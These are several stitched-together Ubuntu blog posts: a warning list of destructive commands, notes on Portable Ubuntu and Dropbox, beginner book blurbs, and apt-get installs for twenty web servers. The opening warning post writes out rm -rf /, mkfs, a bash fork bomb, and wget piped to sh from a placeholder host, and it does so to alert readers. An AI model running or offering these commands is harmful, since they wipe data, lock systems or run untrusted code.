There are a number of unscrupulous people out there that are trying to, for whatever reason, get you to cause serious damage to your Ubuntu system. They do this under the guise of helping you and they get you to type in these commands to “fix” your system.
I believe that knowledge is power. And I understand that this post couple be used to teach people how to do this exact thing. But I also believe that making people aware of these dangers is the best way to inoculate them.
Delete All Files in Directory and Directory Above
rm -rf / rm -rf . rm -rf * rm -r .[^.]*
Reformat Devices
Anything mentioned after the command will be reformatted blank.
mkfs mkfs.ext3 mkfs.anything
Block Device Manipulation
Writes raw data to the device and often destroys it.
Runs a massive amount of processes until the system locks up.
Bash: :(){:|:&};:
Perl: fork while fork
Tar Bomb
File extract into a massive number of folders and files, potentially injecting files into the operating system. This can make your system useless.
Decompression Bomb
You are asked to download a relatively small file which contains highly compressed data. Wheb extracted, it could take up gigs of data that may even fill up your entire hard drive and bring you system to a grinding halt.
Malicious Shell Scripts
You are asked to download and run a shell script that can contain any number of deadly commands.
wget http://some_place/some_file sh ./some_file
wget http://some_place/some_file -O- | sh
Compiling Code
You are given or type in the source code which you then compile on your system and reek havoc on your system.
My plan for this weekend was to go out and but yet another computer so that I can have a dedicated Linux box to work on. I need to have Windows on my machines simply because most of the people that I need to support are running Windows and that is what I need to keep up to speed on!
But, I am also finding that a lot of the tools that I want to use are only available for Linux. Since it takes quite a while to save up for another computer from the proceeds I make from Daily Cup of Tech, I have been struggling along with VMware versions of Ubuntu.
So, I was going to bite the bullet this weekend and take my kids’ college fund to go but a computer to put Linux on. As I was about to head out the door, I ran across something that might actually allow me to keep my kids’ college fund where it is!
Portable Ubuntu for Windows provides the user with the ability to install Ubuntu on a Windows machine and do pretty much everything that you can do on a regular Ubuntu machine! And, you can do the install to a USB device so that you can take your Ubuntu with you and run it from any Windows machine you want!
From the website:
Portable Ubuntu for Windows is an Ubuntu system running as a Windows application.
This system is built with the Colinux Kernel, Xming X server and Pulseaudio server for Windows.
Portable Ubuntu for Windows is a useful tool for when you need to use Ubuntu on an machine that has Windows as operating system.
I have just started to play with it but from what I have seen, it is pretty impressive. Here are some videos of pubuntu (as they are calling it) that I have found which may give you a bit of an idea what this is all about:
Dropbox, one of my favorite free tools, has just updated their Linux package! I am very excited by this because I can now run Dropbox on my non-GUI Ubuntu servers!
From the website:
Hi Friends!
We’ve been keeping this secret for some months while Megabuild (0.6.507) was in development. Now it’s finally ready! Here is the newest Linux package for Dropbox. In this package you can expect the following enhancements:
Dropbox CLI (man dropbox at your prompt
New Nautilus emblems (spiffy ones you see on the latest Mac and Windows builds)
Dropbox no longer autostarts for every user from Nautilus, you can now start Dropbox from your applications menu!
Jaunty compatibility out of the box (finally!)
For you Jaunty users out there who can’t stand a single level of indirection here are some direct links:
Besides all being human (purposefully leaving out the obligatory mother-in-law joke), they were all first time computer users at some time. They all sat at a keyboard for the first time, stared blankly at the screen, and then said, “Now what?”
So, I decided to put together a list of books that every noobie should have on their shelves! I’ve also copied a brief description of each book so that you can see what you’re getting yourself into.
You’ve seen the books for “dummies” and you’re beyond that - you know how to turn a computer on, check your email, and surf the Internet. There are books for geniuses that focus on getting over-detailed on technology you don’t care anything about. Why can’t there be a book for you - a book to help you buy a new computer or help you protect your computer and data without all the useless information???
You’ve come to the right place! Just the Computer Essentials is a book written for the everyday user.
The perfect coverage of essential computer concepts. Topics include hardware, software, communications, networks, the Internet, and covers information on how to purchase computers for personal use.
What can you do with your new PC? The sky’s the limit! Absolute Beginner’s Guide to Computer Basics will show you how to set up and configure your PC, including how to connect to the Internet. Then you’ll learn how to fix your digital photos, create digital scrapbooks, download digital music to your iPod, burn your own custom CDs, watch DVD movies, write letters and memos, balance your checkbook, and create show-stopping presentations. And if you need more computing horsepower, you’ll even learn how to upgrade your PC and add new peripherals. It’s all easy, thanks to Michael Miller’s step-by-step instructions and helpful advice!
Now updated for both Windows Vista™ and Windows® XP, Absolute Beginner’s Guide to Computer Basics will have you using your new PC in no time! Here’s a preview of
what you’ll find inside:
Learn how to set up and configure your new computer, and install new computer hardware and software
Get the scoop on how to work with Microsoft Windows XP or Windows Vista, and how to personalize it just for you
Learn how to use the most popular computer programs—including Microsoft® Word, Microsoft® Works, Microsoft® Money, and Quicken
Connect to the Internet for web surfing, email, instant messaging, blogging, and podcasts—and create your own MySpace page
Become a digital media pro—learn to work with digital cameras and photos, download and listen to digital music, and burn your own CDs and DVDs
Find out how to protect your PC from spam, viruses, spyware, and computer attacks
Learn how to set up a wireless home network and share your Internet connection with multiple PCs
This bestselling guide has introduced flocks of folks to the Internet, but the Internet evolves faster than you can turn pages. So jump aboard our cyber-ship and discover the newest Internet. Along with classic tasks like e-mail and Web browsing, this edition covers new trends like online video, photo albums, and even using the Internet as your telephone!
The content boom on the Internet has been explosive in the past few years with more than a billion people surfing worldwide. Internet Simplified shows beginning level computer users how to get comfortable surfing the web and how to navigate the flood of information once they find what they’re looking for. Users will find helpful information on the most talked about newcomers to the online world such as social networking sites like Facebook and MySpace, blogging, and downloading media content from YouTube and iTunes, as well as an introduction to the old standbys such as email, auction sites, and instruction for safe surfing. Coverage on how to safeguard against viruses and SPAM and keep computers free from unwanted visitors is approached in a gentle, user-friendly manner so anyone can apply the techniques and be free from troublesome intrusions. Full-color screen shots and numbered, step-by-step instructions guide readers through the intricacies of navigating the web in a friendly, approachable way. The updated design features a more sophisticated look and larger fonts and images to make this a perfect reference for all ages.
If you’re ready to jump into digital photography or would like to increase the skills you already have, David Pogue’s Digital Photography: The Missing Manual is just what you need. Bestselling author David Pogue provides a no-nonsense guide to the entire process, including how to: buy and use a digital camera; get the same photographic effects as the pros; manage the results on your Mac or PC; edit photos; and, finally, share the results with your adoring fans — on paper, online, or on mugs, jigsaw puzzles, and blankets.
After reviewing hundreds of digital cameras and photo services in his weekly New York Times column, David Pogue knows digital photography. With this new Missing Manual you will:
Get expert advice on how to choose a digital camera, including information on the only specs that matter. (Hint: it’s not about megapixels).
Learn the basics of lighting, composition, and shooting lots of photos
Understand how to choose the best camera settings for 20 different scenarios
Unravel the problems of correcting images and storing them
Learn David’s tips and tricks for sharing and printing images
Get a special troubleshooting section you can turn to when things go wrong
David Pogue’s witty, authoritative voice has demystified the Mac, Windows, iPods and iPhones for millions of readers. Now, he offers step-by-step instructions and plenty of friendly advice to help you join in the fun and get real satisfaction from digital photography.
Whether you’re helping friends and family get up and running, or buying a new computer for yourself or a family member, this easy, colorful, two-book kit is designed for you. It’s loaded with tips and tricks to make it easy for you–or the new user you’re helping–to set up and use a new Windows Vista-powered PC. This kit features two great resources: The WINDOWS VISTA PLAIN & SIMPLE GUIDE TO HELPING FRIENDS & FAMILY answers the most common questions and how-to’s related to selecting, setting up, and running a new PC. It uses real-world analogies to explain basic computing concepts and offers helpful techniques, support sidebars, Web site suggestions, and more. You also get the popular WINDOWS VISTA PLAIN & SIMPLE book–the easy, colorful, SEE-HOW guide to getting things done with Windows Vista. Topics include running programs and gadgets, browsing the Web, burning CDs, organizing photos and music, playing games, troubleshooting, and other everyday tasks and topics.Each book offers practical examples and troubleshooting tips–written in plain English–for the tasks that novices want to accomplish most. Get up and running quickly–and get to the good stuff faster!
Beginning Ubuntu Linux, the award–winning and best–selling Ubuntu book for beginners, is now in its third edition, presenting readers with an up–to–the–minute introduction to the world of Linux and the open source community. A detailed overview of Ubuntu’s installation and configuration process encourages you to take the plunge and switch to Linux, and from there you’ll learn how to wield total control over your newly installed operating system. Guided through the most commonly desired tasks such as printer configuration, listening to audio CDs and MP3s, watching movies, performing office and Internet–related tasks, as well as general system maintenance matters, authors Keir Thomas and Jaime Sicam will soon have you using and enjoying Ubuntu Linux and never looking back.
You’ll also find a series of comprehensive tutorials on Linux internals and the command–line prompt—essential for any Linux user—along with special sections on optimization, security, and system maintenance that will broaden your knowledge to professional level.
The complete Ubuntu Linux distribution is included free on the DVD inside the book. Simply insert the DVD and follow the instructions in the book to install Ubuntu Linux!
In Microsoft Office 2007: Essentials Concepts and Techniques you’ll find features that are specifically designed to improve retention, and prepare readers for future success. Our trademark step-by-step, screen-by-screen approach now encourages users to expand their understanding of the Outlook 2007 software through experimentation, exploration, and planning ahead.
Written by leading cyber crime investigators, Cyber Crime Fighters: Tales from the Trenches takes you behind the scenes to reveal the truth behind Internet crime, telling shocking stories that aren’t covered by the media, and showing you exactly how to protect yourself and your children. This is the Internet crime wave as it really looks to law enforcement insiders: the truth about crime on social networks and YouTube, cyber stalking and criminal cyber bullying, online child predators, identity theft, even the latest cell phone crimes. Here are actual cases and actual criminals, presented by investigators who have been recognized by the FBI and the N.H. Department of Justice. These stories are true—and if you want to stay safe, you need to know about them.
• Learn how today’s criminals can track your whereabouts, read your emails, and steal your identity
• Find out how much of your personal information is already online—and how to keep the rest private
• Learn how cyber stalkers really think—and how to protect yourself from them
• Protect your laptop, your iPod, and your precious data from getting stolen
• Encounter the “dark side” of Internet dating
• Discover the hidden crime wave on today’s specialized social networks
• Uncover the cell phone “upskirters” and “downblousers” —and the technicalities that keep them out of jail
• Follow cyber crime specialists as they investigate and catch online sexual predators
• Get the real truth about phishing, pharming, criminal spam, and online scams
• See how investigations really work—and why TV crime shows often get it wrong!
• Walk through your own personal, step-by-step, online safety checkup
Other Resources
If you are interested in getting started on pretty much any technical topic, you really can’t go wrong with something from the Dummies Series. These books assume nothing, giving you clear and concise that is not only easy to follow but is in language that doesn’t require a pocket protector or and advanced degree in engineering to understand.
And once you get used to using that Internet thing, your first stop should be Newbie.org!
If you are surfing the Internet, you are interacting with a web server. If you are like the average web user, you are probably unaware that there are different types of web servers. If you are an IT geek like myself, you are probably aware of maybe eight or ten. So, you will probably be surprised, as I was, to discover that you could install as many as twenty different web servers directly from the Ubuntu repositories!
Below, you will find a brief description of each web server quoted from their website and the command to install each on in Ubuntu. The installation commands are cut and paste and should work without any difficulty. If they do not work, please try the following:
update your packages from the repositories with this command:
sudo apt-get -y update
upgrade your version of Ubuntu to the latest packages with this command:
sudo apt-get -y upgrade
make sure that you have the root password because you will not get very far without it
Anyway, here we go with the web server installations:
Apache HTTP Server
The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure,efficient and extensible server that provides HTTP services in sync with the current HTTP standards.
Apache has been the most popular web server on the Internet since April 1996.
Installation
sudo apt-get -y install apache2
Boa Webserver
Boa is a single-tasking HTTP server. That means that unlike traditional web servers, it does not fork for each incoming connection, nor does it fork many copies of itself to handle multiple connections. It internally multiplexes all of the ongoing HTTP connections, and forks only for CGI programs (which must be separate processes), automatic directory generation, and automatic file gunzipping. Preliminary tests show Boa is capable of handling several thousand hits per second on a 300 MHz Pentium and dozens of hits per second on a lowly 20 MHz 386/SX.
The primary design goals of Boa are speed and security. Security, in the sense of “can’t be subverted by a malicious user,” not “fine grained access control and encrypted communications”. Boa is not intended as a feature-packed server. Modifications to Boa that improve its speed, security, robustness, and portability, are eagerly sought. Other features may be added if they can be achieved without hurting the primary goals.
Installation
sudo apt-get -y install boa
cakephp-instaweb
cakephp-instaweb is tiny Python-based webserver suitable for quick development of CakePHP applications, similar to Django’s ‘runserver’ and the “script/server” script in Ruby on Rails.
It requires zero configuration for running CakePHP applications, allowing you to:
delay webserver configuration to deployment time
develop multiple applications simultaneously with ease
just get on building your application
Installation
sudo apt-get -y install cakephp-instaweb
Cherokee
Cherokee is a very fast, flexible and easy to configure Web Server. It supports the widespread technologies nowadays: FastCGI, SCGI, PHP, CGI, SSI, TLS and SSL encrypted connections, Virtual hosts, Authentication, on the fly encoding, Load Balancing, Apache compatible log files, Data Base Balancing, Reverse HTTP Proxy, Traffic Shaper, Video Streaming and much more.
A user friendly interface called cherokee-admin is provided for a no-hassle configuration of the server. Check out the benchmarks and documentation to learn more, and give it a try to squeeze your hardware to the fullest!
Installation
sudo apt-get -y install cherokee
DHTTPD
DHTTPD is a little program I knocked up after a friend dared me to do it, so here we are!
It’s a little webserver made in my spare time. It’s main features are listed below. DHTTPD stand for Dublet’s HyperTextTranferProtocol Deamon, but that’s a bit long for a program name, so I abbreviated it.
Free (as in free)
BSD licensed
Native IPv6
Virtual hosts support
Nearly working HTTPS on both IPv4 and v6
QOS (Quality Of Service) layer (Bandwidth managing)
Support for CGI scripts
Built-in Perl interpreter for massive speed gains
Usage of script threads for simultanious execution
Fast (poll(), uses zero-copy tcp when possible)
Small (Tiny memory footprint, little disk usage)
Secure (it tries to be anyway)
Sheds any root privileges it might have
Optionally doesn’t serve out files which are:
Not readable to either the owner, group or other
Writable to others
Writable to the daemon (if it owns the file or shares group with file owner)
Uses length safe functions
Apache compatible access log
has man pages
simple configuration
Efficient (well…)
Developed by cool people
Makes your whites whiter than white
Of every dollar you spend on purchasing dhttpd, 25 cents goes to charity
Triple your money back guarantee
Installation
sudo apt-get -y install dhttpd
DidiWiki
DidiWiki is a small and simple WikiWikiWeb implementation. It’s intended for personal use for notes, Todo’s, etc. It includes its own Web server and weighs in at approximately 25k stripped, making it practical for embedded use (e.g. handhelds).
Installation
sudo apt-get -y install didiwiki
Elserv
Elserv is an HTTP server which runs on Emacs.
Since Emacs does not support server sockets, Elserv runs dedicated server process (ruby script) as a backend process and communicate with it to provide a server feature on Emacs.
Easy to start a web server (Just execute an emacs command).
Dynamic content can be developed using emacs lisp.
Contents can be replaced by simply `eval’uating the lisp code.
HTTP 1.1 GET, HEAD, POST is supported.
Installation
sudo apt-get -y install elserv
Jetty
Jetty is an open-source, standards-based, full-featured web server implemented entirely in Java. It is released under the Apache 2.0 licence and is therefore free for commercial use and distribution. First created in 1995, Jetty has benefitted from input from a vast user community and consistent and focused development by a stable core of lead developers. There are many more examples of Jetty in action on the Jetty Powered Page that has selections from among the tens of thousands of production Jetty instances. However, as
Jetty aims to be as unobtrusive as possible, countless websites and products are based around Jetty, but Jetty is invisible!
Jetty can be used as:
a stand-alone traditional web server for static and dynamic content
a dynamic content server behind a dedicated HTTP server such as Apache using mod_proxy
an embedded component within a java application
This flexibility means that Jetty can be encountered in a number of different contexts:
shipped with products to provide out-of-the-box useability eg Tapestry, Liferay
distributed on CDs with books to make examples and exercises ready-to-run
incorporated into applications as a HTTP transport eg JXTA, MX4J
Security, speed, compliance, and flexibility — all of these describe lighttpd (pron.lighty) which is rapidly redefining efficiency of a webserver; as it is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more) lighttpd is the perfect solution for every server that is suffering load problems. And best of all it’s Open Source licensed under the revised BSD license.
Web 2.0
lighttpd powers several popular Web 2.0 sites like YouTube, wikipedia and meebo. Its high speed io-infrastructure allows them to scale several times better with the same hardware than with alternative web-servers.
This fast web server and its development team create a web-server with the needs of the future web in mind:
Its event-driven architecture is optimized for a large number of parallel connections (keep-alive) which is important for high performance AJAX applications.
Installation
sudo apt-get -y install lighttpd
Mathopd
Mathopd is a very small, yet very fast HTTP server for UN*X systems.
Mathopd supports useful features of HTTP/1.1, such as persistent connections, partial responses and pipelining. It does not support things like content negotiation. The latest version of the software (1.5) also supports CGI/1.1.
Mathopd was designed specifically to run as a single process, and to never grow in size. When this software was first written (early 1996) this is something that other HTTP servers were not very good at.
Installation
sudo apt-get -y install mathopd
micro_httpd
micro_httpd is a very small Unix-based HTTP server. It runs from inetd, which means its performance is poor. But for low-traffic sites, it’s quite adequate. It implements all the basic features of an HTTP server, including:
Security against “..” filename snooping.
The common MIME types.
Trailing-slash redirection.
index.html
Directory listings.
All in about 200 lines of code.
micro_httpd can also be used to serve HTTPS by wrapping it with stunnel. Instructions are included.
Installation
sudo apt-get -y install micro-httpd
mini_httpd
mini_httpd is a small HTTP server. Its performance is not great, but for low or medium traffic sites it’s quite adequate. It implements all the basic features of an HTTP server, including:
GET, HEAD, and POST methods.
CGI.
Basic authentication.
Security against “..” filename snooping.
The common MIME types.
Trailing-slash redirection.
index.html, index.htm, index.cgi
Directory listings.
Multihoming / virtual hosting.
Standard logging.
Custom error pages.
It can also be configured to do SSL/HTTPS and IPv6.
mini_httpd was written for a couple reasons. One, as an experiment to see just how slow an old-fashioned forking web server would be with today’s operating systems. The answer is, surprisingly, not that slow - on FreeBSD 3.2, mini_httpd benchmarks at about 90% the speed of Apache. The other main reason for writing mini_httpd was to get a simple platform for experimenting with new web server technology, for instance SSL.
Installation
sudo apt-get -y install mini-httpd
Monkey HTTP Daemon
Monkey is a Web server written in C that works under Linux. This is an open source project based on the HTTP/1.1 protocol. The objective is to develop a fast, efficient, small and easy to configure web server
Installation
sudo apt-get -y install monkey
Mono
The Mono Project aims to make developers productive and happy: Mono 2.2 is our gift to the world. Sponsored by Novell (http://www.novell.com), the Mono open source project has an active and enthusiastic contributing community and is positioned to become the leading choice for development of Linux applications.
Nanoweb is an HTTP server written in PHP, designed to be small, secure, and extensible.
Nanoweb’s main features are :
HTTP/1.1 compliance
Powerful and easy configuration
Modular architecture
FastCGI, CGI and Server side includes support
Name and port based virtual hosts
Access control lists
htpasswd, MySQL, PostgreSQL and LDAP authentication support
Themes for server generated content
Apache compatible log format, MySQL logging
Directory browsing
inetd support and SSL via external helpers
Denial of Service protection
Proxy Server extension
Filters and gzip support
RBL support (mail-abuse.org)
Extension Protocols (request methods) support
Installation
sudo apt-get -y install nanoweb
Nginx
Nginx (pronounced “engine x”) is a free, open-source, high-performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server. Written by Igor Sysoev in 2005, Nginx now hosts between 1% and 4% of all domains worldwide (sources: 1, 2). Although still in beta, Nginx is known for its stability, rich feature set, simple configuration, and low resource consumption.
Installation
sudo apt-get -y install nginx
Roxen WebServer
Roxen WebServer is a full-featured open-source web server distributed under the GPL license. It runs on a number of different operating systems including Windows, Linux, Solaris and Mac OS X.
Some of the strong points of this server is:
Open source code.
A web-based interface for easy configuration and administration.
The highly regarded Roxen graphics support which can be used for dynamic generation of e.g. headers, images and charts.
Integrated MySQL database.
Server-side programming via RXML, Java, Perl, PHP, CGI scripts and more.
Strong encryption.
Modular architecture where server extensions can be loaded without shutting down the server process.
Platform-independent architecture makes custom modules portable with no extra effort.
Installation
sudo apt-get -y install roxen4
thttpd
thttpd is a simple, small, portable, fast, and secure HTTP server.
Simple:
It handles only the minimum necessary to implement HTTP/1.1. Well, maybe a little more than the minimum.
Small:
See the comparison chart. It also has a very small run-time size, since it does not fork and is very careful about memory allocation.
Portable:
It compiles cleanly on most any Unix-like OS, specifically including FreeBSD, SunOS 4, Solaris 2, BSD/OS, Linux, OSF.
Fast:
In typical use it’s about as fast as the best full-featured servers (Apache, NCSA, Netscape). Under extreme load it’s much faster.
Secure:
It goes to great lengths to protect the web server machine against attacks and breakins from other sites.
It also has one extremely useful feature (URL-traffic-based throttling) that no other server currently has. Plus, it supports IPv6 out of the box, no patching required.
Installation
sudo apt-get -y install thttpd
webfs
This is a simple http server for mostly static content. You can use it to serve the content of a ftp server via http for example. It is also nice to export some files the quick way by starting a http server in a few seconds, without editing some config file first.
It uses sendfile() and knows how to use sendfile on linux and FreeBSD. Adding other systems should’nt be difficuilt. There is some sendfile emulation code which uses read()+write() and a userland bounce buffer, this allows to compile and use webfs on systems without sendfile() too.
Recent versions also got limited CGI support (GET requests only) and optional SSL support.
Installation
sudo apt-get -y install webfs
Yaws
Yaws is a HTTP high perfomance 1.1 webserver particularly well suited for dynamic-content web applications. Two separate modes of operations are supported.
Standalone mode where Yaws runs as a regular webserver daemon. This is the default mode.
Embedded mode where Yaws runs as an embedded webserver in another erlang application.
Yaws is entirely written in Erlang furthermore it is a multithreaded webserver where one Erlang light weight process is used to handle each client.
The main advantages of yaws compared to other Web technologies are performance and elegance. The performance comes from the underlying Erlang system and its ability to handle concurrent processes in an efficient way. Its elegance comes from Erlang as well. Web applications don’t have to be written in ugly adhoc languages.
Installation
sudo apt-get -y install yaws
Conclusion
As I was working through the installation procedures for the different servers, I was struck by how varied the installations were in size, features, and dependencies. Make sure that you take your time and research which web server is right for your specific application.